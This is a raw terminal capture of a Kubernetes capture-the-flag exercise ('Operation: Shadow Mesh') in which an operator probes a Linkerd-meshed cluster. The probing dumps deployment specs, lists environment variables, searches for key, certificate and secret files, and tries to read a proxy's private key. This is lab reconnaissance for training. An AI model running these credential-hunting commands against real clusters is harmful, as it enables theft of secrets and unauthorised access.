kubectl get deployment -n production -o yaml 2>&1 | head -60
echo "=== EXEC LINKERD-PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
echo "=== LOGS ==="
kubectl logs -n production receiver-794df886d7-8f427 --all-containers 2>&1 | tail -30
exit
SSHEOF_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== CONTAINERS ==="
kubectl get pods -n production receiver-794df886d7-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
echo ""
echo "=== DEPLOYMENT ==="
kubectl get deployment -n production -o yaml 2>&1 | head -60
echo "=== EXEC LINKERD-PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
echo "=== LOGS ==="
kubectl logs -n production receiver-794df886d7-8f427 --all-containers 2>&1 | tail -30
exit
echo "=== CONTAINERS ==="
kubectl get pods -n production receiver-794df886d7-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
echo ""
echo "=== DEPLOYMENT ==="
kubectl get deployment -n production -o yaml 2>&1 | head -60
echo "=== EXEC LINKERD-PROXY ==="
kubectl exec -n production receiver-794df886d7-8f427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
echo "=== LOGS ==="
kubectl logs -n production receiver-794df886d7-8f427 --all-containers 2>&1 | tail -30
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CONTAINERS ==="
[?2004l=== CONTAINERS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pods -n production receiver-794df886d77-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
[?2004llinkerd-proxy python-server debug-tools[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho ""
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DEPLOYMENT ==="
[?2004l=== DEPLOYMENT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get deployment -n production -o yaml 2>&1 | head -60
[?2004lapiVersion: v1
items:
- apiVersion: apps/v1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
creationTimestamp: "2026-03-25T10:50:53Z"
generation: 1
labels:
app: receiver
name: receiver
namespace: production
resourceVersion: "1601"
uid: 2b9f7288-6f94-42f3-9260-617a21c71022
spec:
progressDeadlineSeconds: 600
replicas: 1
revisionHistoryLimit: 10
selector:
matchLabels:
app: receiver
strategy:
rollingUpdate:
maxSurge: 25%
maxUnavailable: 25%
type: RollingUpdate
template:
metadata:
labels:
app: receiver
spec:
containers:
- args:
- |
import http.server
import socketserver
import datetime
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b"Request successfully received.\n")
print("Listening on 8080...", flush=True)
with socketserver.TCPServer(("", 8080), Handler) as httpd:
httpd.serve_forever()
command:
- python
- -c
image: python:3.14-slim
imagePullPolicy: IfNotPresent
name: python-server
ports:
- containerPort: 8080
name: http
protocol: TCP
resources: {}
securityContext:
allowPrivilegeEscalation: false
capabilities:
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== EXEC LINKERD-PROXY ==="
[?2004l=== EXEC LINKERD-PROXY ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c linkerd-proxy -- ls -la /var/run/linkerd/ 2>&1
[?2004lerror: Internal error occurred: error executing command in container: failed to exec in container: failed to start exec "e6bf52e626d8efec1c446f2ea50c65b3f556cdaae8c9d03feee2b1e90deef7c1": OCI runtime exec failed: exec failed: unable to start container process: exec: "ls": executable file not found in $PATH: unknown
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== LOGS ==="
[?2004l=== LOGS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl logs -n production receiver-794df886d7-8f4427 --all-containers 2>&1 | tail -30
[?2004ldebconf: falling back to frontend: Noninteractive
Updating certificates in /etc/ssl/certs...
150 added, 0 removed; done.
Setting up dbus (1.16.2-2) ...
invoke-rc.d: could not determine current runlevel
invoke-rc.d: policy-rc.d denied execution of start.
Setting up libp11-kit0:amd64 (0.25.5-3) ...
Setting up libgssapi-krb5-2:amd64 (1.21.3-5) ...
Setting up libgnutls30t64:amd64 (3.8.9-3+deb13u2) ...
Setting up libtirpc3t64:amd64 (1.3.6+ds-1) ...
Setting up iproute2 (6.15.0-1) ...
debconf: unable to initialize frontend: Dialog
debconf: (TERM is not set, so the dialog frontend is not usable.)
debconf: falling back to frontend: Readline
debconf: unable to initialize frontend: Readline
debconf: (Can't locate Term/ReadLine.pm in @INC (you may need to install the Term::ReadLine module) (@INC entries checked: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.40.1 /usr/local/share/perl/5.40.1 /usr/lib/x86_64-linux-gnu/perl5/5.40 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.40 /usr/share/perl/5.40 /usr/local/lib/site_perl) at /usr/share/perl5/Debconf/FrontEnd/Readline.pm line 8.)
debconf: falling back to frontend: Teletype
debconf: unable to initialize frontend: Teletype
debconf: (This frontend requires a controlling tty.)
debconf: falling back to frontend: Noninteractive
Setting up libpsl5t64:amd64 (0.21.2-1.1+b1) ...
Setting up librtmp1:amd64 (2.4+20151223.gitfa8646d.1-2+b5) ...
Setting up libcurl4t64:amd64 (8.14.1-2+deb13u2) ...
Setting up curl (8.14.1-2+deb13u2) ...
Processing triggers for libc-bin (2.41-12+deb13u2) ...
Processing triggers for ca-certificates (20250419) ...
Updating certificates in /etc/ssl/certs...
0 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d...
done.
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== DEBUG-TOOLS ENV ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- env 2>&1 echo "=== DEBUG-TOOLS FILES ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib echo "=== DEBUG-TOOLS HOME ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1 echo "=== CHECK LINKERD CERTS ===" kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1 kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | head -5 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== DEBUG-TOOLS ENV ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- env 2>&1
echo "=== DEBUG-TOOLS FILES ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib
echo "=== DEBUG-TOOLS HOME ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1
echo "=== CHECK LINKERD CERTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | head -5
exit
echo "=== DEBUG-TOOLS ENV ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- env 2>&1
echo "=== DEBUG-TOOLS FILES ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib
echo "=== DEBUG-TOOLS HOME ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1
echo "=== CHECK LINKERD CERTS ==="
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | head -5
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DEBUG-TOOLS ENV ==="
[?2004l=== DEBUG-TOOLS ENV ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- env 2>&1
[?2004lPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=receiver-794df886d7-8f427
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.96.0.1:443
HOME=/root
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== DEBUG-TOOLS FILES ==="
[?2004l=== DEBUG-TOOLS FILES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o --name "*flag*" -o -name "*secret*" 2>/dev/null 2>&1 | grep -v proc | grep -v sys | grep -v share | grep -v lib
[?2004l/run/secrets
/run/secrets/kubernetes.io/serviceaccount/ca.crt
/run/secrets/kubernetes.io/serviceaccount/..2026_03_25_10_50_53.2951914420/ca.crt
/etc/ssl/certs/CFCA_EV_ROOT.pem
/etc/ssl/certs/OISTE_WISeKey_Global_Root_GB_CA.pem
/etc/ssl/certs/Certigna_Root_CA.pem
/etc/ssl/certs/Certum_EC-384_CA.pem
/etc/ssl/certs/SSL.com_Root_Certification_Authority_ECC.pem
/etc/ssl/certs/Entrust_Root_Certification_Authority_-_EC1.pem
/etc/ssl/certs/Trustwave_Global_ECC_P256_Certification_Authority.pem
/etc/ssl/certs/ISRG_Root_X2.pem
/etc/ssl/certs/Telia_Root_CA_v2.pem
/etc/ssl/certs/BJCA_Global_Root_CA2.pem
/etc/ssl/certs/DigiCert_High_Assurance_EV_Root_CA.pem
/etc/ssl/certs/SecureSign_Root_CA15.pem
/etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R5.pem
/etc/ssl/certs/GTS_Root_R3.pem
/etc/ssl/certs/Entrust_Root_Certification_Authority.pem
/etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.pem
/etc/ssl/certs/Izenpe.com.pem
/etc/ssl/certs/QuoVadis_Root_CA_2.pem
/etc/ssl/certs/GlobalSign_Root_CA_-_R3.pem
/etc/ssl/certs/Telekom_Security_TLS_ECC_Root_2020.pem
/etc/ssl/certs/TWCA_CYBER_Root_CA.pem
/etc/ssl/certs/DigiCert_Global_Root_G2.pem
/etc/ssl/certs/NetLock_Arany_=Class_Gold=_Főtanúsítvány.pem
/etc/ssl/certs/GTS_Root_R4.pem
/etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_RSA_R2.pem
/etc/ssl/certs/D-TRUST_EV_Root_CA_1_2020.pem
/etc/ssl/certs/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.pem
/etc/ssl/certs/GTS_Root_R1.pem
/etc/ssl/certs/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.pem
/etc/ssl/certs/SecureSign_Root_CA14.pem
/etc/ssl/certs/XRamp_Global_CA_Root.pem
/etc/ssl/certs/Baltimore_CyberTrust_Root.pem
/etc/ssl/certs/HiPKI_Root_CA_-_G1.pem
/etc/ssl/certs/DigiCert_Global_Root_CA.pem
/etc/ssl/certs/Buypass_Class_2_Root_CA.pem
/etc/ssl/certs/ca-certificates.crt
/etc/ssl/certs/QuoVadis_Root_CA_1_G3.pem
/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-02.pem
/etc/ssl/certs/Certum_Trusted_Network_CA.pem
/etc/ssl/certs/Atos_TrustedRoot_2011.pem
/etc/ssl/certs/Amazon_Root_CA_4.pem
/etc/ssl/certs/Hongkong_Post_Root_CA_3.pem
/etc/ssl/certs/Secure_Global_CA.pem
/etc/ssl/certs/AffirmTrust_Commercial.pem
/etc/ssl/certs/TrustAsia_Global_Root_CA_G4.pem
/etc/ssl/certs/SSL.com_EV_Root_Certification_Authority_ECC.pem
/etc/ssl/certs/Starfield_Root_Certificate_Authority_-_G2.pem
/etc/ssl/certs/Certainly_Root_E1.pem
/etc/ssl/certs/e-Szigno_Root_CA_2017.pem
/etc/ssl/certs/certSIGN_Root_CA_G2.pem
/etc/ssl/certs/SwissSign_Gold_CA_-_G2.pem
/etc/ssl/certs/emSign_ECC_Root_CA_-_G3.pem
/etc/ssl/certs/DigiCert_Global_Root_G3.pem
/etc/ssl/certs/SSL.com_Root_Certification_Authority_RSA.pem
/etc/ssl/certs/SSL.com_TLS_RSA_Root_CA_2022.pem
/etc/ssl/certs/Entrust_Root_Certification_Authority_-_G2.pem
/etc/ssl/certs/Microsoft_RSA_Root_Certificate_Authority_2017.pem
/etc/ssl/certs/GDCA_TrustAUTH_R5_ROOT.pem
/etc/ssl/certs/SZAFIR_ROOT_CA2.pem
/etc/ssl/certs/UCA_Extended_Validation_Root.pem
/etc/ssl/certs/IdenTrust_Commercial_Root_CA_1.pem
/etc/ssl/certs/GlobalSign_Root_CA_-_R6.pem
/etc/ssl/certs/Entrust.net_Premium_2048_Secure_Server_CA.pem
/etc/ssl/certs/TunTrust_Root_CA.pem
/etc/ssl/certs/Certum_Trusted_Network_CA_2.pem
/etc/ssl/certs/Starfield_Class_2_CA.pem
/etc/ssl/certs/QuoVadis_Root_CA_2_G3.pem
/etc/ssl/certs/Amazon_Root_CA_2.pem
/etc/ssl/certs/ePKI_Root_Certification_Authority.pem
/etc/ssl/certs/certSIGN_ROOT_CA.pem
/etc/ssl/certs/Comodo_AAA_Services_root.pem
/etc/ssl/certs/OISTE_WISeKey_Global_Root_GC_CA.pem
/etc/ssl/certs/Amazon_Root_CA_1.pem
/etc/ssl/certs/GlobalSign_Root_CA.pem
/etc/ssl/certs/DigiCert_Assured_ID_Root_G2.pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.pem
/etc/ssl/certs/USERTrust_RSA_Certification_Authority.pem
/etc/ssl/certs/Telekom_Security_TLS_RSA_Root_2023.pem
/etc/ssl/certs/SecureTrust_CA.pem
/etc/ssl/certs/Amazon_Root_CA_3.pem
/etc/ssl/certs/GLOBALTRUST_2020.pem
/etc/ssl/certs/FIRMAPROFESIONAL_CA_ROOT-A_WEB.pem
/etc/ssl/certs/DigiCert_TLS_ECC_P384_Root_G5.pem
/etc/ssl/certs/QuoVadis_Root_CA_3.pem
/etc/ssl/certs/SSL.com_TLS_ECC_Root_CA_2022.pem
/etc/ssl/certs/D-TRUST_EV_Root_CA_2_2023.pem
/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-01.pem
/etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem
/etc/ssl/certs/HARICA_TLS_RSA_Root_CA_2021.pem
/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-01.pem
/etc/ssl/certs/vTrus_Root_CA.pem
/etc/ssl/certs/QuoVadis_Root_CA_3_G3.pem
/etc/ssl/certs/GlobalSign_Root_E46.pem
/etc/ssl/certs/Buypass_Class_3_Root_CA.pem
/etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_EV_2009.pem
/etc/ssl/certs/AffirmTrust_Networking.pem
/etc/ssl/certs/ACCVRAIZ1.pem
/etc/ssl/certs/BJCA_Global_Root_CA1.pem
/etc/ssl/certs/TWCA_Root_Certification_Authority.pem
/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_3.pem
/etc/ssl/certs/ANF_Secure_Server_Root_CA.pem
/etc/ssl/certs/Certainly_Root_R1.pem
/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_E46.pem
/etc/ssl/certs/Actalis_Authentication_Root_CA.pem
/etc/ssl/certs/emSign_Root_CA_-_C1.pem
/etc/ssl/certs/emSign_ECC_Root_CA_-_C3.pem
/etc/ssl/certs/Starfield_Services_Root_Certificate_Authority_-_G2.pem
/etc/ssl/certs/Trustwave_Global_ECC_P384_Certification_Authority.pem
/etc/ssl/certs/D-TRUST_BR_Root_CA_2_2023.pem
/etc/ssl/certs/DigiCert_Assured_ID_Root_G3.pem
/etc/ssl/certs/Security_Communication_ECC_RootCA1.pem
/etc/ssl/certs/DigiCert_Assured_ID_Root_CA.pem
/etc/ssl/certs/UCA_Global_G2_Root.pem
/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem
/etc/ssl/certs/SecureSign_Root_CA12.pem
/etc/ssl/certs/COMODO_ECC_Certification_Authority.pem
/etc/ssl/certs/Microsec_e-Szigno_Root_CA_2009.pem
/etc/ssl/certs/TrustAsia_Global_Root_CA_G3.pem
/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_2.pem
/etc/ssl/certs/AffirmTrust_Premium_ECC.pem
/etc/ssl/certs/AffirmTrust_Premium.pem
/etc/ssl/certs/TeliaSonera_Root_CA_v1.pem
/etc/ssl/certs/Go_Daddy_Root_Certificate_Authority_-_G2.pem
/etc/ssl/certs/IdenTrust_Public_Sector_Root_CA_1.pem
/etc/ssl/certs/DigiCert_Trusted_Root_G4.pem
/etc/ssl/certs/D-TRUST_BR_Root_CA_1_2020.pem
/etc/ssl/certs/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.pem
/etc/ssl/certs/DigiCert_TLS_RSA4096_Root_G5.pem
/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-02.pem
/etc/ssl/certs/Certum_Trusted_Root_CA.pem
/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_R46.pem
/etc/ssl/certs/Security_Communication_RootCA2.pem
/etc/ssl/certs/COMODO_RSA_Certification_Authority.pem
/etc/ssl/certs/Trustwave_Global_Certification_Authority.pem
/etc/ssl/certs/vTrus_ECC_Root_CA.pem
/etc/ssl/certs/NAVER_Global_Root_Certification_Authority.pem
/etc/ssl/certs/emSign_Root_CA_-_G1.pem
/etc/ssl/certs/HARICA_TLS_ECC_Root_CA_2021.pem
/etc/ssl/certs/COMODO_Certification_Authority.pem
/etc/ssl/certs/Certigna.pem
/etc/ssl/certs/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.pem
/etc/ssl/certs/Go_Daddy_Class_2_CA.pem
/etc/ssl/certs/TWCA_Global_Root_CA.pem
/etc/ssl/certs/GlobalSign_Root_R46.pem
/etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_2009.pem
/etc/ssl/certs/GlobalSign_ECC_Root_CA_-_R4.pem
/etc/ssl/certs/USERTrust_ECC_Certification_Authority.pem
/etc/ssl/certs/Microsoft_ECC_Root_Certificate_Authority_2017.pem
/etc/ssl/certs/GTS_Root_R2.pem
/etc/ssl/certs/ISRG_Root_X1.pem
/etc/ssl/certs/CA_Disig_Root_R2.pem
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== DEBUG-TOOLS HOME ==="
[?2004l=== DEBUG-TOOLS HOME ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -laR /root/ /home/ /tmp/ /opt/ 2>&1
[?2004l/home/:
total 8
drwxr-xr-x 2 root root 4096 Mar 2 21:50 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
/opt/:
total 8
drwxr-xr-x 2 root root 4096 Mar 16 00:00 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
/root/:
total 16
drwx------ 2 root root 4096 Mar 16 00:00 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
-rw-r--r-- 1 root root 607 Mar 2 21:50 .bashrc
-rw-r--r-- 1 root root 132 Mar 2 21:50 .profile
/tmp/:
total 8
drwxrwxrwt 1 root root 4096 Mar 25 10:51 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== CHECK LINKERD CERTS ==="
[?2004l=== CHECK LINKERD CERTS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- ls -la /var/run/linkerd/ 2>&1
[?2004lls: cannot access '/var/run/linkerd/': No such file or directory
command terminated with exit code 2
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c debug-tools -- cat /var/run/linkerd/identity/end-entity/key.pem 2>&1 | heaad -5
[?2004lcat: /var/run/linkerd/identity/end-entity/key.pem: No such file or directory
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== FULL DEPLOYMENT ===" kubectl get deployment -n production receiver -o yaml 2>&1 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== FULL DEPLOYMENT ==="
kubectl get deployment -n production receiver -o yaml 2>&1
exit
echo "=== FULL DEPLOYMENT ==="
kubectl get deployment -n production receiver -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== FULL DEPLOYMENT ==="
[?2004l=== FULL DEPLOYMENT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get deployment -n production receiver -o yyaml 2>&1
[?2004lapiVersion: apps/v1
kind: Deployment
metadata:
annotations:
deployment.kubernetes.io/revision: "1"
creationTimestamp: "2026-03-25T10:50:53Z"
generation: 1
labels:
app: receiver
name: receiver
namespace: production
resourceVersion: "1601"
